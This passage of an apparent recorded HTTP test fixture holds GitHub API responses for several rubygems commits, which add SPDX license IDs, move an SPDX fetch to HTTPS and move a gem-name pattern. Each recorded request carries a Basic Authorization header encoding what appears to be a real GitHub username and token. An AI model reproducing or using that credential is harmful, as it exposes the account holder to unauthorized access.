8d3d1d1ed8988c703314c81f7fb651e/lib/rubygems/util/licenses.rb","raw_url":"https://github.com/rubygems/rubygems/raw/afbae04038d3d1d1ed8988c703314c81f7fb651e/lib/rubygems/util/licenses.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/util/licenses.rb?ref=afbae04038d3d1d1ed8988c703314c81f7fb651e","patch":"@@ -48,9 +48,13 @@ class Gem::Licenses\n BSD-3-Clause-Attribution\n BSD-3-Clause-Clear\n BSD-3-Clause-LBNL\n+ BSD-3-Clause-No-Nuclear-License\n+ BSD-3-Clause-No-Nuclear-License-2014\n+ BSD-3-Clause-No-Nuclear-Warranty\n BSD-4-Clause\n BSD-4-Clause-UC\n BSD-Protection\n+ BSD-Source-Code\n BSL-1.0\n Bahyph\n Barr\n@@ -126,6 +130,7 @@ class Gem::Licenses\n Entessa\n ErlPL-1.1\n Eurosym\n+ FSFAP\n FSFUL\n FSFULLR\n FTL\n@@ -137,8 +142,18 @@ class Gem::Licenses\n GFDL-1.3\n GL2PS\n GPL-1.0\n+ GPL-1.0+\n GPL-2.0\n+ GPL-2.0+\n+ GPL-2.0-with-GCC-exception\n+ GPL-2.0-with-autoconf-exception\n+ GPL-2.0-with-bison-exception\n+ GPL-2.0-with-classpath-exception\n+ GPL-2.0-with-font-exception\n GPL-3.0\n+ GPL-3.0+\n+ GPL-3.0-with-GCC-exception\n+ GPL-3.0-with-autoconf-exception\n Giftware\n Glide\n Glulxe\n@@ -152,14 +167,20 @@ class Gem::Licenses\n ISC\n ImageMagick\n Imlib2\n+ Info-ZIP\n Intel\n Intel-ACPI\n Interbase-1.0\n JSON\n JasPer-2.0\n+ LAL-1.2\n+ LAL-1.3\n LGPL-2.0\n+ LGPL-2.0+\n LGPL-2.1\n+ LGPL-2.1+\n LGPL-3.0\n+ LGPL-3.0+\n LGPLLR\n LPL-1.0\n LPL-1.02\n@@ -170,6 +191,9 @@ class Gem::Licenses\n LPPL-1.3c\n Latex2e\n Leptonica\n+ LiLiQ-P-1.1\n+ LiLiQ-R-1.1\n+ LiLiQ-Rplus-1.1\n Libpng\n MIT\n MIT-CMU\n@@ -193,6 +217,7 @@ class Gem::Licenses\n NBPL-1.0\n NCSA\n NGPL\n+ NLOD-1.0\n NLPL\n NOSL\n NPL-1.0\n@@ -201,11 +226,13 @@ class Gem::Licenses\n NRL\n NTP\n Naumen\n+ Net-SNMP\n NetCDF\n Newsletr\n Nokia\n Noweb\n Nunit\n+ OCCT-PL\n OCLC-2.0\n ODbL-1.0\n OFL-1.0\n@@ -229,6 +256,7 @@ class Gem::Licenses\n OLDAP-2.8\n OML\n OPL-1.0\n+ OSET-PL-2.1\n OSL-1.0\n OSL-1.1\n OSL-2.0\n@@ -259,6 +287,7 @@ class Gem::Licenses\n SISSL\n SISSL-1.2\n SMLNJ\n+ SMPPL\n SNIA\n SPL-1.0\n SWL\n@@ -269,20 +298,26 @@ class Gem::Licenses\n Spencer-86\n Spencer-94\n Spencer-99\n+ StandardML-NJ\n SugarCRM-1.1.3\n TCL\n+ TCP-wrappers\n TMate\n TORQUE-1.1\n TOSL\n UPL-1.0\n+ Unicode-DFS-2015\n+ Unicode-DFS-2016\n Unicode-TOU\n Unlicense\n VOSTROM\n VSL-1.0\n Vim\n W3C\n W3C-19980720\n+ W3C-20150513\n WTFPL\n+ WXwindows\n Watcom-1.0\n Wsuipa\n X11\n@@ -302,8 +337,10 @@ class Gem::Licenses\n Zlib\n bzip2-1.0.5\n bzip2-1.0.6\n+ curl\n diffmark\n dvipdfm\n+ eCos-2.0\n eGenix\n gSOAP-1.3b\n gnuplot"},{"sha":"a6880f76a0d18dc5b73063874aa0199137131e64","filename":"util/generate_spdx_license_list.rb","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/afbae04038d3d1d1ed8988c703314c81f7fb651e/util/generate_spdx_license_list.rb","raw_url":"https://github.com/rubygems/rubygems/raw/afbae04038d3d1d1ed8988c703314c81f7fb651e/util/generate_spdx_license_list.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/util/generate_spdx_license_list.rb?ref=afbae04038d3d1d1ed8988c703314c81f7fb651e","patch":"@@ -1,8 +1,9 @@\n # frozen_string_literal: true\n require ''json''\n require ''net/http''\n+require ''uri''\n \n-json = Net::HTTP.get(''spdx.org'', ''/licenses/licenses.json'')\n+json = Net::HTTP.get(URI(''https://spdx.org/licenses/licenses.json''))\n licenses = JSON.parse(json)[''licenses''].map do |licenseObject|\n licenseObject[''licenseId'']\n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:51 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/f099938f80f85a7238b55c6694e5547d82a5049e body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:51 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4522' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"2a482711b505589a3dc2454006f5af53" Last-Modified: - Sat, 25 Nov 2017 13:31:24 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.040468' X-Github-Request-Id: - C4EA:4D95:F47CA0:1C8342A:5A50E467 body: encoding: ASCII-8BIT string: '{"sha":"f099938f80f85a7238b55c6694e5547d82a5049e","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-25T13:31:24Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-25T13:31:24Z"},"message":"Call SPDX.org using HTTPS","tree":{"sha":"ab972648eaeb9fd8b69a5b4dca00e476580fca9c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ab972648eaeb9fd8b69a5b4dca00e476580fca9c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f099938f80f85a7238b55c6694e5547d82a5049e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f099938f80f85a7238b55c6694e5547d82a5049e","html_url":"https://github.com/rubygems/rubygems/commit/f099938f80f85a7238b55c6694e5547d82a5049e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f099938f80f85a7238b55c6694e5547d82a5049e/comments","author":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"8c091b68c7dd29205f4318f4c6724a164b4ef830","url":"https://api.github.com/repos/rubygems/rubygems/commits/8c091b68c7dd29205f4318f4c6724a164b4ef830","html_url":"https://github.com/rubygems/rubygems/commit/8c091b68c7dd29205f4318f4c6724a164b4ef830"}],"stats":{"total":40,"additions":39,"deletions":1},"files":[{"sha":"96fed282f1a412125f0a4312221e5ddec4dae4d2","filename":"lib/rubygems/util/licenses.rb","status":"modified","additions":37,"deletions":0,"changes":37,"blob_url":"https://github.com/rubygems/rubygems/blob/f099938f80f85a7238b55c6694e5547d82a5049e/lib/rubygems/util/licenses.rb","raw_url":"https://github.com/rubygems/rubygems/raw/f099938f80f85a7238b55c6694e5547d82a5049e/lib/rubygems/util/licenses.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/util/licenses.rb?ref=f099938f80f85a7238b55c6694e5547d82a5049e","patch":"@@ -48,9 +48,13 @@ class Gem::Licenses\n BSD-3-Clause-Attribution\n BSD-3-Clause-Clear\n BSD-3-Clause-LBNL\n+ BSD-3-Clause-No-Nuclear-License\n+ BSD-3-Clause-No-Nuclear-License-2014\n+ BSD-3-Clause-No-Nuclear-Warranty\n BSD-4-Clause\n BSD-4-Clause-UC\n BSD-Protection\n+ BSD-Source-Code\n BSL-1.0\n Bahyph\n Barr\n@@ -126,6 +130,7 @@ class Gem::Licenses\n Entessa\n ErlPL-1.1\n Eurosym\n+ FSFAP\n FSFUL\n FSFULLR\n FTL\n@@ -137,8 +142,18 @@ class Gem::Licenses\n GFDL-1.3\n GL2PS\n GPL-1.0\n+ GPL-1.0+\n GPL-2.0\n+ GPL-2.0+\n+ GPL-2.0-with-GCC-exception\n+ GPL-2.0-with-autoconf-exception\n+ GPL-2.0-with-bison-exception\n+ GPL-2.0-with-classpath-exception\n+ GPL-2.0-with-font-exception\n GPL-3.0\n+ GPL-3.0+\n+ GPL-3.0-with-GCC-exception\n+ GPL-3.0-with-autoconf-exception\n Giftware\n Glide\n Glulxe\n@@ -152,14 +167,20 @@ class Gem::Licenses\n ISC\n ImageMagick\n Imlib2\n+ Info-ZIP\n Intel\n Intel-ACPI\n Interbase-1.0\n JSON\n JasPer-2.0\n+ LAL-1.2\n+ LAL-1.3\n LGPL-2.0\n+ LGPL-2.0+\n LGPL-2.1\n+ LGPL-2.1+\n LGPL-3.0\n+ LGPL-3.0+\n LGPLLR\n LPL-1.0\n LPL-1.02\n@@ -170,6 +191,9 @@ class Gem::Licenses\n LPPL-1.3c\n Latex2e\n Leptonica\n+ LiLiQ-P-1.1\n+ LiLiQ-R-1.1\n+ LiLiQ-Rplus-1.1\n Libpng\n MIT\n MIT-CMU\n@@ -193,6 +217,7 @@ class Gem::Licenses\n NBPL-1.0\n NCSA\n NGPL\n+ NLOD-1.0\n NLPL\n NOSL\n NPL-1.0\n@@ -201,11 +226,13 @@ class Gem::Licenses\n NRL\n NTP\n Naumen\n+ Net-SNMP\n NetCDF\n Newsletr\n Nokia\n Noweb\n Nunit\n+ OCCT-PL\n OCLC-2.0\n ODbL-1.0\n OFL-1.0\n@@ -229,6 +256,7 @@ class Gem::Licenses\n OLDAP-2.8\n OML\n OPL-1.0\n+ OSET-PL-2.1\n OSL-1.0\n OSL-1.1\n OSL-2.0\n@@ -259,6 +287,7 @@ class Gem::Licenses\n SISSL\n SISSL-1.2\n SMLNJ\n+ SMPPL\n SNIA\n SPL-1.0\n SWL\n@@ -269,20 +298,26 @@ class Gem::Licenses\n Spencer-86\n Spencer-94\n Spencer-99\n+ StandardML-NJ\n SugarCRM-1.1.3\n TCL\n+ TCP-wrappers\n TMate\n TORQUE-1.1\n TOSL\n UPL-1.0\n+ Unicode-DFS-2015\n+ Unicode-DFS-2016\n Unicode-TOU\n Unlicense\n VOSTROM\n VSL-1.0\n Vim\n W3C\n W3C-19980720\n+ W3C-20150513\n WTFPL\n+ WXwindows\n Watcom-1.0\n Wsuipa\n X11\n@@ -302,8 +337,10 @@ class Gem::Licenses\n Zlib\n bzip2-1.0.5\n bzip2-1.0.6\n+ curl\n diffmark\n dvipdfm\n+ eCos-2.0\n eGenix\n gSOAP-1.3b\n gnuplot"},{"sha":"a6880f76a0d18dc5b73063874aa0199137131e64","filename":"util/generate_spdx_license_list.rb","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/f099938f80f85a7238b55c6694e5547d82a5049e/util/generate_spdx_license_list.rb","raw_url":"https://github.com/rubygems/rubygems/raw/f099938f80f85a7238b55c6694e5547d82a5049e/util/generate_spdx_license_list.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/util/generate_spdx_license_list.rb?ref=f099938f80f85a7238b55c6694e5547d82a5049e","patch":"@@ -1,8 +1,9 @@\n # frozen_string_literal: true\n require ''json''\n require ''net/http''\n+require ''uri''\n \n-json = Net::HTTP.get(''spdx.org'', ''/licenses/licenses.json'')\n+json = Net::HTTP.get(URI(''https://spdx.org/licenses/licenses.json''))\n licenses = JSON.parse(json)[''licenses''].map do |licenseObject|\n licenseObject[''licenseId'']\n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:51 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/51568cf1e7041916096a1bf73f83a2e8feb7e71f body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:51 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4521' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"cc797444435225765b783971a387d9b1" Last-Modified: - Sat, 25 Nov 2017 11:34:03 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.039841' X-Github-Request-Id: - C4EC:4D95:F47CA7:1C8343E:5A50E467 body: encoding: ASCII-8BIT string: '{"sha":"51568cf1e7041916096a1bf73f83a2e8feb7e71f","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-25T11:34:03Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-25T11:34:03Z"},"message":"Revert name extraction","tree":{"sha":"fb9e1d2202b83f88a823c31eb7e07e50568fc007","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/fb9e1d2202b83f88a823c31eb7e07e50568fc007"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/51568cf1e7041916096a1bf73f83a2e8feb7e71f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/51568cf1e7041916096a1bf73f83a2e8feb7e71f","html_url":"https://github.com/rubygems/rubygems/commit/51568cf1e7041916096a1bf73f83a2e8feb7e71f","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/51568cf1e7041916096a1bf73f83a2e8feb7e71f/comments","author":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"70a86c7528a7924872072fb885a4bb529d50912b","url":"https://api.github.com/repos/rubygems/rubygems/commits/70a86c7528a7924872072fb885a4bb529d50912b","html_url":"https://github.com/rubygems/rubygems/commit/70a86c7528a7924872072fb885a4bb529d50912b"}],"stats":{"total":4,"additions":3,"deletions":1},"files":[{"sha":"0cbca0791b2e35db891751db35c7fa8e031f97d1","filename":"lib/rubygems/installer.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/51568cf1e7041916096a1bf73f83a2e8feb7e71f/lib/rubygems/installer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/51568cf1e7041916096a1bf73f83a2e8feb7e71f/lib/rubygems/installer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/installer.rb?ref=51568cf1e7041916096a1bf73f83a2e8feb7e71f","patch":"@@ -703,7 +703,7 @@ def verify_gem_home(unpack = false) # :nodoc:\n end\n \n def verify_spec_name\n- return if spec.name =~ Gem::SpecificationPolicy::VALID_NAME_PATTERN\n+ return if spec.name =~ Gem::Specification::VALID_NAME_PATTERN\n raise Gem::InstallError, \"#{spec} has an invalid name\"\n end\n "},{"sha":"3685a4c11099be9a29f041d6f5a80930d6566624","filename":"lib/rubygems/specification.rb","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/51568cf1e7041916096a1bf73f83a2e8feb7e71f/lib/rubygems/specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/51568cf1e7041916096a1bf73f83a2e8feb7e71f/lib/rubygems/specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification.rb?ref=51568cf1e7041916096a1bf73f83a2e8feb7e71f","patch":"@@ -110,6 +110,8 @@ class Gem::Specification < Gem::BasicSpecification\n \n private_constant :LOAD_CACHE if defined? private_constant\n \n+ VALID_NAME_PATTERN = /\\A[a-zA-Z0-9\\.\\-\\_]+\\z/ # :nodoc:\n+\n # :startdoc:\n \n ##"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:51 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/70a86c7528a7924872072fb885a4bb529d50912b body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:51 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4520' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"646ed4693ab509b7adad469172551139" Last-Modified: - Sat, 25 Nov 2017 09:03:10 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.049937' X-Github-Request-Id: - C4EE:4D95:F47CBA:1C8345B:5A50E467 body: encoding: ASCII-8BIT string: '{"sha":"70a86c7528a7924872072fb885a4bb529d50912b","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-25T09:03:10Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-25T09:03:10Z"},"message":"Add specification_policy.rb to Manifest.txt","tree":{"sha":"d1728a61397bdee23f214b07de99616e82631a66","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d1728a61397bdee23f214b07de99616e82631a66"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/70a86c7528a7924872072fb885a4bb529d50912b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/70a86c7528a7924872072fb885a4bb529d50912b","html_url":"https://github.com/rubygems/rubygems/commit/70a86c7528a7924872072fb885a4bb529d50912b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/70a86c7528a7924872072fb885a4bb529d50912b/comments","author":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"85cabed4fbc3274ad63335efd141c052e56db3dc","url":"https://api.github.com/repos/rubygems/rubygems/commits/85cabed4fbc3274ad63335efd141c052e56db3dc","html_url":"https://github.com/rubygems/rubygems/commit/85cabed4fbc3274ad63335efd141c052e56db3dc"}],"stats":{"total":1,"additions":1,"deletions":0},"files":[{"sha":"90874512c763534b188c713882f2eb8786306dc1","filename":"Manifest.txt","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/rubygems/rubygems/blob/70a86c7528a7924872072fb885a4bb529d50912b/Manifest.txt","raw_url":"https://github.com/rubygems/rubygems/raw/70a86c7528a7924872072fb885a4bb529d50912b/Manifest.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Manifest.txt?ref=70a86c7528a7924872072fb885a4bb529d50912b","patch":"@@ -430,6 +430,7 @@ lib/rubygems/source_local.rb\n lib/rubygems/source_specific_file.rb\n lib/rubygems/spec_fetcher.rb\n lib/rubygems/specification.rb\n+lib/rubygems/specification_policy.rb\n lib/rubygems/ssl_certs/.document\n lib/rubygems/ssl_certs/index.rubygems.org/GlobalSignRootCA.pem\n lib/rubygems/ssl_certs/rubygems.global.ssl.fastly.net/DigiCertHighAssuranceEVRootCA.pem"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:51 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/85cabed4fbc3274ad63335efd141c052e56db3dc body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:51 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4519' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"bd4ef6115712397e08367f37143cfec9" Last-Modified: - Fri, 24 Nov 2017 21:50:03 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.051965' X-Github-Request-Id: - C4F0:4D95:F47CC5:1C83471:5A50E467 body: encoding: ASCII-8BIT string: '{"sha":"85cabed4fbc3274ad63335efd141c052e56db3dc","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-24T21:50:03Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-24T21:50:03Z"},"message":"Specification: keep 3 public existing methods","tree":{"sha":"bce5e723b2ddeee5603ad1177b6a04b0402583f9","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/bce5e723b2ddeee5603ad1177b6a04b0402583f9"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/85cabed4fbc3274ad63335efd141c052e56db3dc","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/85cabed4fbc3274ad63335efd141c052e56db3dc","html_url":"https://github.com/rubygems/rubygems/commit/85cabed4fbc3274ad63335efd141c052e56db3dc","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/85cabed4fbc3274ad63335efd141c052e56db3dc/comments","author":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":